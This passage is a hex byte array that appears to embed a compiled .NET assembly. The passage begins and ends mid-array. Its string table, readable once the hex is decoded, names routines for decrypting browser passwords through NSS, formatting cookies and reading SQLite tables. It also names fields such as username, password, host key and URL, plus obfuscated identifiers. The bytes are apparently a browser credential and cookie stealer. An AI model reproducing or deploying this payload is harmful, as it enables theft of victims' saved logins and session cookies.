0x6E, 0x07, 0xDB, 0x02, 0x01, 0x01, 0xC0, 0x07,\n\t0xE0, 0x02, 0xD9, 0x01, 0x3B, 0x00, 0x0A, 0x03, 0xF9, 0x00, 0x2C, 0x04,\n\t0x1B, 0x03, 0x29, 0x01, 0x22, 0x05, 0xCE, 0x00, 0x01, 0x01, 0xBF, 0x0B,\n\t0x23, 0x03, 0x01, 0x01, 0xBF, 0x0B, 0x2B, 0x03, 0x01, 0x01, 0xBF, 0x0B,\n\t0x32, 0x03, 0x01, 0x01, 0xBF, 0x0B, 0x39, 0x03, 0x34, 0x00, 0xF4, 0x09,\n\t0x06, 0x00, 0x24, 0x00, 0xE6, 0x09, 0x63, 0x03, 0x3C, 0x00, 0x52, 0x0C,\n\t0x73, 0x03, 0x34, 0x00, 0x57, 0x01, 0x58, 0x00, 0x3C, 0x00, 0xCA, 0x0C,\n\t0xAB, 0x01, 0xE9, 0x01, 0xF1, 0x04, 0x06, 0x00, 0x0E, 0x00, 0x49, 0x00,\n\t0x81, 0x03, 0x2E, 0x00, 0x0B, 0x00, 0xAE, 0x04, 0x2E, 0x00, 0x13, 0x00,\n\t0xB7, 0x04, 0x2E, 0x00, 0x1B, 0x00, 0xD6, 0x04, 0x2E, 0x00, 0x23, 0x00,\n\t0xDF, 0x04, 0x2E, 0x00, 0x2B, 0x00, 0xEF, 0x04, 0x2E, 0x00, 0x33, 0x00,\n\t0xEF, 0x04, 0x2E, 0x00, 0x3B, 0x00, 0xEF, 0x04, 0x2E, 0x00, 0x43, 0x00,\n\t0xDF, 0x04, 0x2E, 0x00, 0x4B, 0x00, 0xF5, 0x04, 0x2E, 0x00, 0x53, 0x00,\n\t0xEF, 0x04, 0x2E, 0x00, 0x5B, 0x00, 0xEF, 0x04, 0x2E, 0x00, 0x63, 0x00,\n\t0x0D, 0x05, 0x2E, 0x00, 0x6B, 0x00, 0x37, 0x05, 0x2E, 0x00, 0x73, 0x00,\n\t0x44, 0x05, 0xE3, 0x01, 0x7B, 0x00, 0x8E, 0x05, 0x81, 0x02, 0x7B, 0x00,\n\t0x8E, 0x05, 0x81, 0x02, 0x83, 0x00, 0x93, 0x05, 0xA1, 0x02, 0x7B, 0x00,\n\t0x8E, 0x05, 0xA1, 0x02, 0x83, 0x00, 0x93, 0x05, 0xA3, 0x02, 0x8B, 0x00,\n\t0x9C, 0x05, 0xC1, 0x02, 0x7B, 0x00, 0x8E, 0x05, 0xC1, 0x02, 0x83, 0x00,\n\t0x93, 0x05, 0xC3, 0x02, 0x8B, 0x00, 0x9C, 0x05, 0xE1, 0x02, 0x7B, 0x00,\n\t0x8E, 0x05, 0xE1, 0x02, 0x83, 0x00, 0x93, 0x05, 0xE3, 0x02, 0x8B, 0x00,\n\t0x9C, 0x05, 0x01, 0x03, 0x7B, 0x00, 0x8E, 0x05, 0x01, 0x03, 0x83, 0x00,\n\t0x93, 0x05, 0x21, 0x03, 0x7B, 0x00, 0x8E, 0x05, 0x21, 0x03, 0x83, 0x00,\n\t0x93, 0x05, 0x41, 0x03, 0x7B, 0x00, 0x8E, 0x05, 0x41, 0x03, 0x83, 0x00,\n\t0x93, 0x05, 0x61, 0x03, 0x7B, 0x00, 0x8E, 0x05, 0x61, 0x03, 0x83, 0x00,\n\t0x93, 0x05, 0x81, 0x03, 0x7B, 0x00, 0x8E, 0x05, 0x81, 0x03, 0x83, 0x00,\n\t0x93, 0x05, 0xA1, 0x03, 0x7B, 0x00, 0x8E, 0x05, 0xA1, 0x03, 0x83, 0x00,\n\t0x93, 0x05, 0xC1, 0x03, 0x7B, 0x00, 0x8E, 0x05, 0xC1, 0x03, 0x83, 0x00,\n\t0x93, 0x05, 0xE1, 0x03, 0x7B, 0x00, 0x8E, 0x05, 0xE1, 0x03, 0x83, 0x00,\n\t0x93, 0x05, 0x01, 0x04, 0x7B, 0x00, 0x8E, 0x05, 0x01, 0x04, 0x83, 0x00,\n\t0x93, 0x05, 0x21, 0x04, 0x7B, 0x00, 0x8E, 0x05, 0x21, 0x04, 0x83, 0x00,\n\t0x93, 0x05, 0x41, 0x04, 0x7B, 0x00, 0x8E, 0x05, 0x41, 0x04, 0x83, 0x00,\n\t0x93, 0x05, 0x80, 0x06, 0x7B, 0x00, 0x8E, 0x05, 0xA0, 0x06, 0x7B, 0x00,\n\t0x8E, 0x05, 0xC0, 0x06, 0x7B, 0x00, 0x8E, 0x05, 0xE0, 0x06, 0x7B, 0x00,\n\t0x8E, 0x05, 0x00, 0x07, 0x7B, 0x00, 0x8E, 0x05, 0x20, 0x07, 0x7B, 0x00,\n\t0x8E, 0x05, 0x40, 0x07, 0x7B, 0x00, 0x8E, 0x05, 0x60, 0x07, 0x7B, 0x00,\n\t0x8E, 0x05, 0x80, 0x07, 0x7B, 0x00, 0x8E, 0x05, 0xA0, 0x07, 0x7B, 0x00,\n\t0x8E, 0x05, 0xC0, 0x07, 0x7B, 0x00, 0x8E, 0x05, 0xE0, 0x07, 0x7B, 0x00,\n\t0x8E, 0x05, 0x00, 0x08, 0x7B, 0x00, 0x8E, 0x05, 0x20, 0x08, 0x7B, 0x00,\n\t0x8E, 0x05, 0x40, 0x08, 0x7B, 0x00, 0x8E, 0x05, 0x60, 0x08, 0x7B, 0x00,\n\t0x8E, 0x05, 0x80, 0x08, 0x7B, 0x00, 0x8E, 0x05, 0xA0, 0x08, 0x7B, 0x00,\n\t0x8E, 0x05, 0xC0, 0x08, 0x7B, 0x00, 0x8E, 0x05, 0xE0, 0x08, 0x7B, 0x00,\n\t0x8E, 0x05, 0x00, 0x09, 0x7B, 0x00, 0x8E, 0x05, 0x20, 0x09, 0x7B, 0x00,\n\t0x8E, 0x05, 0x40, 0x09, 0x7B, 0x00, 0x8E, 0x05, 0x60, 0x09, 0x7B, 0x00,\n\t0x8E, 0x05, 0x80, 0x09, 0x7B, 0x00, 0x8E, 0x05, 0xA0, 0x09, 0x7B, 0x00,\n\t0x8E, 0x05, 0xC0, 0x09, 0x7B, 0x00, 0x8E, 0x05, 0xE0, 0x09, 0x7B, 0x00,\n\t0x8E, 0x05, 0x00, 0x0A, 0x7B, 0x00, 0x8E, 0x05, 0x20, 0x0A, 0x7B, 0x00,\n\t0x8E, 0x05, 0x0F, 0x00, 0x86, 0x03, 0x01, 0x00, 0x0A, 0x00, 0x00, 0x00,\n\t0x1B, 0x00, 0x26, 0x00, 0x5E, 0x00, 0x7E, 0x00, 0xA4, 0x00, 0xD3, 0x00,\n\t0x10, 0x01, 0x33, 0x01, 0x37, 0x01, 0x85, 0x01, 0x91, 0x01, 0xB6, 0x01,\n\t0xC3, 0x01, 0xC8, 0x01, 0xD1, 0x01, 0xF4, 0x01, 0x02, 0x02, 0x0F, 0x02,\n\t0x18, 0x02, 0x3E, 0x02, 0x42, 0x02, 0x80, 0x02, 0xA8, 0x02, 0xE6, 0x02,\n\t0xEE, 0x02, 0xF7, 0x02, 0x11, 0x03, 0x1F, 0x03, 0x3F, 0x03, 0x10, 0x00,\n\t0x01, 0x00, 0x11, 0x00, 0x04, 0x00, 0x12, 0x00, 0x0B, 0x00, 0x13, 0x00,\n\t0x0E, 0x00, 0x00, 0x00, 0xA3, 0x08, 0xA6, 0x04, 0x00, 0x00, 0x8A, 0x04,\n\t0xA6, 0x04, 0x00, 0x00, 0xC6, 0x02, 0xA6, 0x04, 0x00, 0x00, 0x57, 0x0D,\n\t0xA6, 0x04, 0x00, 0x00, 0x72, 0x04, 0xA6, 0x04, 0x00, 0x00, 0x17, 0x08,\n\t0xA6, 0x04, 0x00, 0x00, 0x4B, 0x01, 0xA6, 0x04, 0x00, 0x00, 0x41, 0x0D,\n\t0xA6, 0x04, 0x00, 0x00, 0x1A, 0x07, 0xA6, 0x04, 0x00, 0x00, 0xD6, 0x04,\n\t0xA6, 0x04, 0x00, 0x00, 0xA3, 0x08, 0xA6, 0x04, 0x00, 0x00, 0x00, 0x04,\n\t0xA6, 0x04, 0x00, 0x00, 0x76, 0x0C, 0xAA, 0x04, 0x00, 0x00, 0xA3, 0x08,\n\t0xA6, 0x04, 0x00, 0x00, 0x00, 0x04, 0xA6, 0x04, 0x02, 0x00, 0x34, 0x00,\n\t0x03, 0x00, 0x01, 0x00, 0x35, 0x00, 0x03, 0x00, 0x02, 0x00, 0x36, 0x00,\n\t0x05, 0x00, 0x01, 0x00, 0x37, 0x00, 0x05, 0x00, 0x02, 0x00, 0x38, 0x00,\n\t0x07, 0x00, 0x01, 0x00, 0x39, 0x00, 0x07, 0x00, 0x02, 0x00, 0x3A, 0x00,\n\t0x09, 0x00, 0x01, 0x00, 0x3B, 0x00, 0x09, 0x00, 0x02, 0x00, 0x3C, 0x00,\n\t0x0B, 0x00, 0x01, 0x00, 0x3D, 0x00, 0x0B, 0x00, 0x02, 0x00, 0x3E, 0x00,\n\t0x0D, 0x00, 0x01, 0x00, 0x3F, 0x00, 0x0D, 0x00, 0x02, 0x00, 0x40, 0x00,\n\t0x0F, 0x00, 0x01, 0x00, 0x41, 0x00, 0x0F, 0x00, 0x02, 0x00, 0x42, 0x00,\n\t0x11, 0x00, 0x01, 0x00, 0x43, 0x00, 0x11, 0x00, 0x02, 0x00, 0x44, 0x00,\n\t0x13, 0x00, 0x01, 0x00, 0x45, 0x00, 0x13, 0x00, 0x02, 0x00, 0x46, 0x00,\n\t0x15, 0x00, 0x01, 0x00, 0x47, 0x00, 0x15, 0x00, 0x02, 0x00, 0x48, 0x00,\n\t0x17, 0x00, 0x01, 0x00, 0x49, 0x00, 0x17, 0x00, 0x02, 0x00, 0x4A, 0x00,\n\t0x19, 0x00, 0x01, 0x00, 0x4B, 0x00, 0x19, 0x00, 0x02, 0x00, 0x4C, 0x00,\n\t0x1B, 0x00, 0x01, 0x00, 0x4D, 0x00, 0x1B, 0x00, 0x02, 0x00, 0x4E, 0x00,\n\t0x1D, 0x00, 0x01, 0x00, 0x4F, 0x00, 0x1D, 0x00, 0x02, 0x00, 0x50, 0x00,\n\t0x1F, 0x00, 0x01, 0x00, 0x51, 0x00, 0x1F, 0x00, 0x7A, 0x08, 0x40, 0x00,\n\t0x77, 0x00, 0x98, 0x00, 0xFC, 0x00, 0x28, 0x02, 0x5C, 0x03, 0x6C, 0x03,\n\t0x44, 0x01, 0x19, 0x00, 0x65, 0x0D, 0x01, 0x00, 0x40, 0x01, 0x1B, 0x00,\n\t0x71, 0x0D, 0x01, 0x00, 0x42, 0x01, 0x1D, 0x00, 0xA2, 0x0B, 0x01, 0x00,\n\t0x8C, 0x6A, 0x00, 0x00, 0x13, 0x00, 0x04, 0x80, 0x00, 0x00, 0x01, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0xCF, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x78, 0x03, 0x13, 0x01, 0x00, 0x00, 0x00, 0x00,\n\t0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t0x78, 0x03, 0xB9, 0x08, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,\n\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x03, 0x27, 0x0B,\n\t0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x06, 0x00, 0x11, 0x00, 0x06, 0x00,\n\t0x12, 0x00, 0x06, 0x00, 0x13, 0x00, 0x06, 0x00, 0x14, 0x00, 0x08, 0x00,\n\t0x15, 0x00, 0x08, 0x00, 0x16, 0x00, 0x08, 0x00, 0x17, 0x00, 0x08, 0x00,\n\t0x18, 0x00, 0x0C, 0x00, 0x19, 0x00, 0x0C, 0x00, 0x1A, 0x00, 0x0C, 0x00,\n\t0x1B, 0x00, 0x0F, 0x00, 0x91, 0x00, 0xE3, 0x01, 0x91, 0x00, 0x69, 0x02,\n\t0x91, 0x00, 0x6E, 0x02, 0x91, 0x00, 0xA3, 0x02, 0x00, 0x00, 0x00, 0x00,\n\t0x00, 0x5F, 0x5F, 0x53, 0x74, 0x61, 0x74, 0x69, 0x63, 0x41, 0x72, 0x72,\n\t0x61, 0x79, 0x49, 0x6E, 0x69, 0x74, 0x54, 0x79, 0x70, 0x65, 0x53, 0x69,\n\t0x7A, 0x65, 0x3D, 0x31, 0x30, 0x00, 0x4C, 0x69, 0x73, 0x74, 0x60, 0x31,\n\t0x00, 0x54, 0x6F, 0x49, 0x6E, 0x74, 0x33, 0x32, 0x00, 0x53, 0x38, 0x4B,\n\t0x37, 0x48, 0x44, 0x33, 0x00, 0x68, 0x4E, 0x73, 0x73, 0x33, 0x00, 0x54,\n\t0x6F, 0x49, 0x6E, 0x74, 0x36, 0x34, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x55,\n\t0x54, 0x46, 0x38, 0x00, 0x47, 0x65, 0x74, 0x55, 0x54, 0x46, 0x38, 0x00,\n\t0x73, 0x4E, 0x6F, 0x6E, 0x55, 0x74, 0x66, 0x38, 0x00, 0x37, 0x44, 0x37,\n\t0x38, 0x43, 0x42, 0x33, 0x38, 0x30, 0x42, 0x46, 0x35, 0x45, 0x46, 0x42,\n\t0x37, 0x42, 0x38, 0x35, 0x31, 0x34, 0x30, 0x39, 0x43, 0x41, 0x36, 0x41,\n\t0x38, 0x37, 0x35, 0x46, 0x37, 0x37, 0x44, 0x45, 0x43, 0x46, 0x30, 0x39,\n\t0x44, 0x31, 0x39, 0x42, 0x39, 0x31, 0x34, 0x39, 0x44, 0x41, 0x31, 0x37,\n\t0x41, 0x33, 0x45, 0x42, 0x46, 0x36, 0x37, 0x34, 0x42, 0x43, 0x30, 0x46,\n\t0x39, 0x00, 0x3C, 0x4D, 0x6F, 0x64, 0x75, 0x6C, 0x65, 0x3E, 0x00, 0x3C,\n\t0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x49, 0x6D, 0x70, 0x6C, 0x65,\n\t0x6D, 0x65, 0x6E, 0x74, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x44, 0x65, 0x74,\n\t0x61, 0x69, 0x6C, 0x73, 0x3E, 0x00, 0x5A, 0x49, 0x4C, 0x44, 0x4B, 0x4E,\n\t0x5A, 0x44, 0x00, 0x50, 0x35, 0x58, 0x37, 0x41, 0x34, 0x51, 0x31, 0x53,\n\t0x45, 0x00, 0x53, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2E, 0x49, 0x4F, 0x00,\n\t0x55, 0x6E, 0x4C, 0x6F, 0x61, 0x64, 0x4E, 0x53, 0x53, 0x00, 0x53, 0x45,\n\t0x43, 0x49, 0x74, 0x65, 0x6D, 0x44, 0x61, 0x74, 0x61, 0x00, 0x74, 0x73,\n\t0x44, 0x61, 0x74, 0x61, 0x00, 0x53, 0x70, 0x6C, 0x69, 0x74, 0x44, 0x61,\n\t0x74, 0x61, 0x00, 0x41, 0x70, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x6D,\n\t0x73, 0x63, 0x6F, 0x72, 0x6C, 0x69, 0x62, 0x00, 0x53, 0x79, 0x73, 0x74,\n\t0x65, 0x6D, 0x2E, 0x43, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F,\n\t0x6E, 0x73, 0x2E, 0x47, 0x65, 0x6E, 0x65, 0x72, 0x69, 0x63, 0x00, 0x67,\n\t0x65, 0x74, 0x5F, 0x73, 0x45, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x55,\n\t0x74, 0x63, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x45, 0x78, 0x70, 0x69,\n\t0x72, 0x65, 0x73, 0x55, 0x74, 0x63, 0x00, 0x41, 0x64, 0x64, 0x00, 0x49,\n\t0x73, 0x4F, 0x64, 0x64, 0x00, 0x3C, 0x73, 0x45, 0x78, 0x70, 0x69, 0x72,\n\t0x65, 0x73, 0x55, 0x74, 0x63, 0x3E, 0x6B, 0x5F, 0x5F, 0x42, 0x61, 0x63,\n\t0x6B, 0x69, 0x6E, 0x67, 0x46, 0x69, 0x65, 0x6C, 0x64, 0x00, 0x3C, 0x73,\n\t0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x3E, 0x6B, 0x5F, 0x5F,\n\t0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x46, 0x69, 0x65, 0x6C, 0x64,\n\t0x00, 0x3C, 0x73, 0x54, 0x69, 0x74, 0x6C, 0x65, 0x3E, 0x6B, 0x5F, 0x5F,\n\t0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x46, 0x69, 0x65, 0x6C, 0x64,\n\t0x00, 0x3C, 0x73, 0x4E, 0x61, 0x6D, 0x65, 0x3E, 0x6B, 0x5F, 0x5F, 0x42,\n\t0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x46, 0x69, 0x65, 0x6C, 0x64, 0x00,\n\t0x3C, 0x73, 0x55, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x3E, 0x6B,\n\t0x5F, 0x5F, 0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x46, 0x69, 0x65,\n\t0x6C, 0x64, 0x00, 0x3C, 0x73, 0x49, 0x73, 0x53, 0x65, 0x63, 0x75, 0x72,\n\t0x65, 0x3E, 0x6B, 0x5F, 0x5F, 0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67,\n\t0x46, 0x69, 0x65, 0x6C, 0x64, 0x00, 0x3C, 0x73, 0x56, 0x61, 0x6C, 0x75,\n\t0x65, 0x3E, 0x6B, 0x5F, 0x5F, 0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67,\n\t0x46, 0x69, 0x65, 0x6C, 0x64, 0x00, 0x3C, 0x73, 0x50, 0x61, 0x74, 0x68,\n\t0x3E, 0x6B, 0x5F, 0x5F, 0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x46,\n\t0x69, 0x65, 0x6C, 0x64, 0x00, 0x3C, 0x73, 0x55, 0x72, 0x6C, 0x3E, 0x6B,\n\t0x5F, 0x5F, 0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x46, 0x69, 0x65,\n\t0x6C, 0x64, 0x00, 0x3C, 0x69, 0x43, 0x6F, 0x75, 0x6E, 0x74, 0x3E, 0x6B,\n\t0x5F, 0x5F, 0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x46, 0x69, 0x65,\n\t0x6C, 0x64, 0x00, 0x3C, 0x73, 0x4B, 0x65, 0x79, 0x3E, 0x6B, 0x5F, 0x5F,\n\t0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x46, 0x69, 0x65, 0x6C, 0x64,\n\t0x00, 0x3C, 0x73, 0x48, 0x6F, 0x73, 0x74, 0x4B, 0x65, 0x79, 0x3E, 0x6B,\n\t0x5F, 0x5F, 0x42, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x46, 0x69, 0x65,\n\t0x6C, 0x64, 0x00, 0x52, 0x65, 0x63, 0x6F, 0x72, 0x64, 0x48, 0x65, 0x61,\n\t0x64, 0x65, 0x72, 0x46, 0x69, 0x65, 0x6C, 0x64, 0x00, 0x66, 0x69, 0x65,\n\t0x6C, 0x64, 0x00, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x00, 0x70, 0x50,\n\t0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x00, 0x67, 0x65, 0x74, 0x5F,\n\t0x73, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x00, 0x73, 0x65,\n\t0x74, 0x5F, 0x73, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x00,\n\t0x46, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F,\n\t0x72, 0x64, 0x00, 0x44, 0x65, 0x63, 0x72, 0x79, 0x70, 0x74, 0x50, 0x61,\n\t0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x00, 0x52, 0x65, 0x70, 0x6C, 0x61,\n\t0x63, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x55, 0x6E, 0x69, 0x63, 0x6F,\n\t0x64, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x42, 0x69, 0x67, 0x45, 0x6E,\n\t0x64, 0x69, 0x61, 0x6E, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x00,\n\t0x63, 0x43, 0x6F, 0x6F, 0x6B, 0x69, 0x65, 0x00, 0x46, 0x6F, 0x72, 0x6D,\n\t0x61, 0x74, 0x43, 0x6F, 0x6F, 0x6B, 0x69, 0x65, 0x00, 0x45, 0x6E, 0x64,\n\t0x49, 0x6E, 0x76, 0x6F, 0x6B, 0x65, 0x00, 0x42, 0x65, 0x67, 0x69, 0x6E,\n\t0x49, 0x6E, 0x76, 0x6F, 0x6B, 0x65, 0x00, 0x52, 0x65, 0x61, 0x64, 0x54,\n\t0x61, 0x62, 0x6C, 0x65, 0x00, 0x52, 0x65, 0x61, 0x64, 0x4D, 0x61, 0x73,\n\t0x74, 0x65, 0x72, 0x54, 0x61, 0x62, 0x6C, 0x65, 0x00, 0x47, 0x65, 0x74,\n\t0x45, 0x6E, 0x76, 0x69, 0x72, 0x6F, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x56,\n\t0x61, 0x72, 0x69, 0x61, 0x62, 0x6C, 0x65, 0x00, 0x49, 0x44, 0x69, 0x73,\n\t0x70, 0x6F, 0x73, 0x61, 0x62, 0x6C, 0x65, 0x00, 0x74, 0x61, 0x62, 0x6C,\n\t0x65, 0x00, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x46, 0x69, 0x65,\n\t0x6C, 0x64, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x00, 0x52, 0x75, 0x6E,\n\t0x74, 0x69, 0x6D, 0x65, 0x54, 0x79, 0x70, 0x65, 0x48, 0x61, 0x6E, 0x64,\n\t0x6C, 0x65, 0x00, 0x47, 0x65, 0x74, 0x54, 0x79, 0x70, 0x65, 0x46, 0x72,\n\t0x6F, 0x6D, 0x48, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x00, 0x46, 0x69, 0x6C,\n\t0x65, 0x00, 0x73, 0x50, 0x72, 0x6F, 0x66, 0x69, 0x6C, 0x65, 0x00, 0x47,\n\t0x65, 0x74, 0x50, 0x72, 0x6F, 0x66, 0x69, 0x6C, 0x65, 0x00, 0x53, 0x65,\n\t0x74, 0x50, 0x72, 0x6F, 0x66, 0x69, 0x6C, 0x65, 0x00, 0x70, 0x72, 0x6F,\n\t0x66, 0x69, 0x6C, 0x65, 0x00, 0x43, 0x6F, 0x6E, 0x73, 0x6F, 0x6C, 0x65,\n\t0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x54, 0x69, 0x74, 0x6C, 0x65, 0x00,\n\t0x73, 0x65, 0x74, 0x5F, 0x73, 0x54, 0x69, 0x74, 0x6C, 0x65, 0x00, 0x68,\n\t0x4D, 0x6F, 0x64, 0x75, 0x6C, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x4E,\n\t0x61, 0x6D, 0x65, 0x00, 0x73, 0x50, 0x72, 0x6F, 0x63, 0x4E, 0x61, 0x6D,\n\t0x65, 0x00, 0x74, 0x61, 0x62, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x00,\n\t0x47, 0x65, 0x74, 0x54, 0x65, 0x6D, 0x70, 0x46, 0x69, 0x6C, 0x65, 0x4E,\n\t0x61, 0x6D, 0x65, 0x00, 0x73, 0x46, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D,\n\t0x65, 0x00, 0x47, 0x65, 0x74, 0x46, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D,\n\t0x65, 0x00, 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x49,\n\t0x74, 0x65, 0x6D, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F,\n\t0x73, 0x4E, 0x61, 0x6D, 0x65, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x4E,\n\t0x61, 0x6D, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F, 0x73, 0x55, 0x73, 0x65,\n\t0x72, 0x6E, 0x61, 0x6D, 0x65, 0x00, 0x73, 0x65, 0x74, 0x5F, 0x73, 0x55,\n\t0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x00, 0x57, 0x72, 0x69, 0x74,\n\t0x65, 0x4C, 0x69, 0x6E, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x62, 0x69, 0x6E,\n\t0x65, 0x00, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x54, 0x79, 0x70, 0x65, 0x00,\n\t0x53, 0x45, 0x43, 0x49, 0x74, 0x65, 0x6D, 0x54, 0x79, 0x70, 0x65, 0x00,\n\t0x43, 0x6F, 0x6D, 0x70, 0x61, 0x72, 0x65, 0x00, 0x67, 0x65, 0x74, 0x5F,\n\t0x73, 0x49, 0x73, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x00, 0x73, 0x65,\n\t0x74, 0x5F, 0x73, 0x49, 0x73, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x00,\n\t0x43, 0x61, 0x70, 0x74, 0x75, 0x72, 0x65, 0x00, 0x64, 0x61, 0x74, 0x61,\n\t0x62, 0x61, 0x73, 0x65, 0x00, 0x44, 0x69, 0x73, 0x70, 0x6F, 0x73, 0x65,\n\t0x00, 0x4D, 0x75, 0x6C, 0x74, 0x69, 0x63, 0x61, 0x73, 0x74, 0x44, 0x65,\n\t0x6C, 0x65, 0x67, 0x61, 0x74, 0x65, 0x00, 0x44, 0x65, 0x62, 0x75, 0x67,\n\t0x67, 0x65, 0x72, 0x42, 0x72, 0x6F, 0x77, 0x73, 0x61, 0x62, 0x6C, 0x65,\n\t0x53, 0x74, 0x61, 0x74, 0x65, 0x00, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65,\n\t0x00, 0x53, 0x51, 0x4C, 0x69, 0x74, 0x65, 0x00, 0x73, 0x53, 0x69, 0x74,\n\t0x65, 0x00, 0x43, 0x6F, 0x6D, 0x70, 0x69, 0x6C, 0x65, 0x72, 0x47, 0x65,\n\t0x6E, 0x65, 0x72, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x74, 0x72, 0x69,\n\t0x62, 0x75, 0x74, 0x65, 0x00, 0x47, 0x75, 0x69, 0x64, 0x41, 0x74, 0x74,\n\t0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x44, 0x65, 0x62, 0x75, 0x67,\n\t0x67, 0x61, 0x62, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75,\n\t0x74, 0x65, 0x00, 0x44, 0x65, 0x62, 0x75, 0x67, 0x67, 0x65, 0x72, 0x42,\n\t0x72, 0x6F, 0x77, 0x73, 0x61, 0x62, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72,\n\t0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x43, 0x6F, 0x6D, 0x56, 0x69, 0x73,\n\t0x69, 0x62, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74,\n\t0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x54, 0x69,\n\t0x74, 0x6C, 0x65, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65,\n\t0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x54, 0x72, 0x61,\n\t0x64, 0x65, 0x6D, 0x61, 0x72, 0x6B, 0x41, 0x74, 0x74, 0x72, 0x69, 0x62,\n\t0x75, 0x74, 0x65, 0x00, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x46, 0x72,\n\t0x61, 0x6D, 0x65, 0x77, 0x6F, 0x72, 0x6B, 0x41, 0x74, 0x74, 0x72, 0x69,\n\t0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C,\n\t0x79, 0x46, 0x69, 0x6C, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E,\n\t0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73,\n\t0x73, 0x65, 0x6D, 0x62, 0x6C, 0x79, 0x43, 0x6F, 0x6E, 0x66, 0x69, 0x67,\n\t0x75, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x41, 0x74, 0x74, 0x72, 0x69,\n\t0x62, 0x75, 0x74, 0x65, 0x00, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C,\n\t0x79, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x70, 0x74, 0x69, 0x6F, 0x6E,\n\t0x41, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x00, 0x55, 0x6E,\n\t0x6D, 0x61, 0x6E, 0x61, 0x67, 0x65, 0x64, 0x46, 0x75, 0x6E, 0x63, 0x74,\n\t0x69, 0x6F, 0x6E, 